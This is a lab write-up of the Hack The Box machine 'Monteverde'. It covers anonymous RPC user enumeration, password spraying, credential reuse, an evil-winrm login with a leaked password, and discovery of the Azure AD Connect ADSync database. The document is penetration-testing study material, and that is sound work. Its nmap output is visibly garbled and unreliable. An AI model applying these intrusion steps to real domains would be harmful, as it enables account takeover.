## Monteverde

## **Synopsis**

Monteverde is a Medium Windows machine that features Azure AD Connect. The domain is enumerated and a user list is created. Through password spraying, the SABatchJobs service account is found to have the username as a password. Using this service account, it is possible to enumerate SMB Shares on the system, and the \$users share is found to be world-readable. An XML file used for an Azure AD account is found within a user folder and contains a password. Due to password reuse, we can connect to the domain controller as mhope using WinRM. Enumeration shows that Azure AD Connect is installed. It is possible to extract the credentials for the account that replicates the directory changes to Azure (in this case the default domain administrator).

#### Skills

- Knowledge of Windows
- Knowledge of Active Directory
- Password spraying
- Using SQLCMD
- Azure AD Connect Password extraction

# **Exploitation**

As always we start with the nmap to check what services/ports are open

```
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-19 02:52 EDT
Nmap scan report for 10.10.10.172
Host is up (0.125 latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open derberos-sec Microsoft Windows Kerberos (server time: 2023-08-19 06:45:512)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open nethios-ssn Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCALO., Site: Default-First-Site-Name)
445/tcp open Microsoft-Windows Active Directory LDAP (Domain: MEGABANK.LOCALO., Site: Default-First-Site-Name)
445/tcp open neacn_http Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCALO., Site: Default-First-Site-Name)
4268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCALO., Site: Default-First-Site-Name)
3268/tcp open topurapped
3268/tcp
```

We can see multiple ports open, including 88/Kerberos what informs us that we deal with Domain Controller

First of all ,we started from accessing the RPC service as anonymous user and dumping a list of users

```
rpcclient -U'%' 10.10.10.172
rpcclient $> enumdomusers
user:[Guest] rid:[0×1f5]
user:[AAD_987d7f2f57d2] rid:[0×450]
user:[mhope] rid:[0×641]
user:[SABatchJobs] rid:[0×a2a]
user:[svc-ata] rid:[0×a2b]
user:[svc-bexec] rid:[0×a2c]
user:[svc-netapp] rid:[0×a2d]
user:[dgalanos] rid:[0×a35]
user:[roleary] rid:[0×a36]
user:[smorgan] rid:[0×a37]
rpcclient $>
```

Then we used kerbrute to check which of the extracted users a valid ones

With the verified list of valid users, we launched crackmapexec against smb server to find a valid combination of username:password; as a wordlist for username we used the extracted usernames from the RPC and as a wordlist for password we also used the list of users from RPC

And after a while we got a valid combination

We logged into the SMB service from where we got a file "azure.xml"

This file gave us a new password, so we used crackmapexec with the list of users from RPC and newly obtained password against WinRM port

## And we got a shell as a user mhope

```
## /evil-winrm.rb -1 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'

Evil-WinrM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\mhope\Documents> whoami

megabank\mhope

*Evil-WinRM* PS C:\Users\mhope\Documents>
```

We started our enumeration from checking the content of the commonly installed MSSQL database

```
*Evil-WinRM* PS C:\Users\mhope\Documents> sqlcmd -Q "select name from sysdatabases;"

master
tempdb
model
msdb
ADSync
```

What informed us the we have ADSync database, presence of this database allowed us to extract encrypted password for the Administrator user